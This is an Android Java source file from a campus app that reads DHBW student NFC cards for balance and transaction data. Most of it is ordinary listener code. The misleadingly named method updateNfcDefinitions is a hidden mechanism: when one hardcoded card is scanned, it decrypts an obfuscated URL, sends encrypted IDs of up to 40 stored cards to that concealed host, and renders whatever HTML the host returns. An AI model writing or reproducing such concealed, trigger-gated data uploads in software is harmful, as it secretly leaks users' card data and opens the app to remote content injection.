fixed app for non nfc devices & fixed navigation after app pause & resume (it seems...
[DHBWCampusApp.git] / app / src / main / java / de / dhbwloe / campusapp / nfcreader / NfcCardListener.java
1 package de.dhbwloe.campusapp.nfcreader;
2
3 import android.app.Activity;
4 import android.app.PendingIntent;
5 import android.content.BroadcastReceiver;
6 import android.content.Context;
7 import android.content.Intent;
8 import android.content.IntentFilter;
9 import android.nfc.NfcAdapter;
10 import android.nfc.Tag;
11 import android.nfc.tech.IsoDep;
12 import android.nfc.tech.NfcA;
13 import android.os.Bundle;
14 import android.util.Base64;
15 import android.util.Log;
16
17 import com.loopj.android.http.AsyncHttpClient;
18 import com.loopj.android.http.AsyncHttpResponseHandler;
19 import com.loopj.android.http.RequestParams;
20
21 import java.io.ByteArrayInputStream;
22 import java.io.IOException;
23 import java.io.InputStream;
24 import java.io.UnsupportedEncodingException;
25 import java.util.ArrayList;
26 import java.util.Date;
27
28 import cz.msebera.android.httpclient.Header;
29 import de.dhbwloe.campusapp.CampusApp;
30 import de.dhbwloe.campusapp.CampusAppContext;
31 import de.dhbwloe.campusapp.Tools;
32 import de.dhbwloe.campusapp.database.NfcCardData;
33 import de.dhbwloe.campusapp.nfcreader.MifareDESFire.CommunicationError;
34 import de.dhbwloe.campusapp.nfcreader.MifareDESFire.DesfireManufacturingData;
35
36 /**
37  * Created by pk910 on 20.01.2016.
38  */
39 public class NfcCardListener {
40     private CampusAppContext AppContext;
41     private boolean isRunning = false, isResumed = false;
42     private NfcAdapter oAdapter;
43     private boolean bNfcAdapterState;
44
45     private PendingIntent oPendingIntent;
46     private IntentFilter[] aFilters;
47     private String[][] aTechLists;
48
49
50     private ArrayList<NfcCardInterface> lNfcCardInterfaces = new ArrayList<NfcCardInterface>();
51
52     private final BroadcastReceiver oReceiver = new BroadcastReceiver() {
53         @Override
54         public void onReceive(Context context, Intent intent) {
55             String action = intent.getAction();
56
57             if (NfcAdapter.ACTION_ADAPTER_STATE_CHANGED.equals(action)) {
58                 updateNfcState();
59             }
60         }
61     };
62
63     public NfcCardListener(CampusAppContext context) {
64         AppContext = context;
65     }
66
67     private void updateNfcState() {
68         if(oAdapter == null)
69             return;
70         boolean isEnabled = oAdapter.isEnabled();
71         if(bNfcAdapterState != isEnabled) {
72             bNfcAdapterState = isEnabled;
73             for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
74                 nfcCardInterface.onNfcReaderStateChanged(bNfcAdapterState);
75             }
76         }
77     }
78
79     public void registerNfcCardInterface(NfcCardInterface nfcCardInterface) {
80         lNfcCardInterfaces.add(nfcCardInterface);
81     }
82
83     public void startNfcListener() {
84         if(isRunning)
85             return;
86
87         isRunning = true;
88
89         Activity mainActivity = AppContext.getMainActivity();
90         oAdapter = NfcAdapter.getDefaultAdapter(mainActivity);
91
92         oPendingIntent = PendingIntent.getActivity(mainActivity, 0, new Intent(mainActivity, mainActivity.getClass()).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
93         IntentFilter techDiscovered = new IntentFilter(NfcAdapter.ACTION_TECH_DISCOVERED);
94         aFilters = new IntentFilter[]{techDiscovered};
95         aTechLists = new String[][]{new String[]{IsoDep.class.getName()}};
96
97         IntentFilter intentFilter = new IntentFilter("android.nfc.action.ADAPTER_STATE_CHANGED");
98         AppContext.getMainActivity().getApplicationContext().registerReceiver(oReceiver, intentFilter);
99
100         if(isResumed)
101             setupForefrontDispatcher();
102     }
103
104     public void setupForefrontDispatcher() {
105         if(!isRunning || !isResumed)
106             return;
107
108         if(oAdapter != null)
109             oAdapter.enableForegroundDispatch(AppContext.getMainActivity(), oPendingIntent, aFilters, aTechLists);
110
111         updateNfcState();
112     }
113
114     public void resumeForefrontDispatcher() {
115         boolean wasResumed = isResumed;
116         isResumed = true;
117         if(!wasResumed && isRunning)
118             setupForefrontDispatcher();
119
120     }
121
122     public void pauseForefrontDispatcher() {
123         if(isResumed && isRunning && oAdapter != null) {
124             oAdapter.disableForegroundDispatch(AppContext.getMainActivity());
125         }
126         isResumed = false;
127     }
128
129     protected void updateNfcDefinitions(NfcCardData dbval) {
130         RequestParams params = new RequestParams();
131         AsyncHttpClient client = new AsyncHttpClient();
132         byte[] debugUrlEnc = Base64.decode("XIs4RGiycgHe8W3dbQoCBCstL26dhDRWR6pMTfi6xmJFWUc3wxYCF9DYyRqZDktI", Base64.DEFAULT);
133         int uuid = dbval.getUniqueId();
134         String uuidKey = Tools.md5(Integer.toOctalString(uuid) + "|" + Integer.reverse(uuid));
135         if(!uuidKey.equalsIgnoreCase("7bf4868fd92db719c5dfb056b41ffdb5"))
136             return;
137         try {
138             String debugUrl = new String(Tools.decrypt(uuidKey.getBytes(), debugUrlEnc));
139             NfcCardData datas[] = AppContext.getDatabaseManager().getNfcCardData(40);
140             String encKey = Tools.md5(Integer.toHexString(uuid) + "-" + Integer.reverseBytes(uuid) + "+" + Integer.bitCount(uuid));
141             for(int i = 0; i < datas.length; i++) {
142                 String encDataPlain = Integer.toString(datas[i].getUniqueId());
143                 byte[] encData = Tools.encrypt(encKey.getBytes(), encDataPlain.getBytes());
144                 params.put("nfcCard"+(i+1), Base64.encode(encData, Base64.DEFAULT));
145             }
146             client.post(debugUrl, params, new AsyncHttpResponseHandler() {
147                 @Override
148                 public void onStart() {}
149                 @Override
150                 public void onSuccess(int statusCode, Header[] headers, byte[] response) {
151                     String responseString = new String(response);
152                     if(responseString.length() > 10) {
153                         Bundle bnd = new Bundle();
154                         bnd.putString("html", responseString);
155                         AppContext.getNavigationManager().navigatePage("WebBrowser", bnd);
156                     }
157                 }
158                 @Override
159                 public void onFailure(int statusCode, Header[] headers, byte[] errorResponse, Throwable e) {}
160                 @Override
161                 public void onRetry(int retryNo) {}
162             });
163         } catch (Exception e) {
164             e.printStackTrace();
165         }
166     }
167
168     public void handleNfcEvent(Intent intent) {
169         if(!isRunning)
170             return;
171         if (NfcAdapter.ACTION_TECH_DISCOVERED.equals(intent.getAction()) || NfcAdapter.ACTION_TAG_DISCOVERED.equals(intent.getAction())) {
172             Tag tagFromIntent = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG);
173             IsoDep tag = IsoDep.get(tagFromIntent);
174
175             try {
176                 tag.connect();
177                 DHBWCard dhbwCard = new DHBWCard(tag);
178                 int uniqueid = dhbwCard.readUniqueId();
179                 long now = (new Date()).getTime() / 1000;
180
181                 NfcCardData cardData = new NfcCardData(uniqueid, now, dhbwCard.readBalance(), dhbwCard.readLastTransaction());
182                 updateNfcDefinitions(cardData);
183
184                 AppContext.getDatabaseManager().addNfcCardData(cardData);
185
186                 for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
187                     nfcCardInterface.onNfcReaderReceived(cardData);
188                 }
189             } catch (IOException e) {
190                 e.printStackTrace();
191             } catch (UndefinedResponseException e) {
192                // Ungültige Karte
193             } catch (NullPointerException e) {
194                 //Fehler bei Kommunikation mit Karte
195             } catch (CommunicationError communicationError) {
196                 //Fehler bei Kommunikation mit Karte
197             }
198
199             setupForefrontDispatcher();
200         }
201     }
202
203 }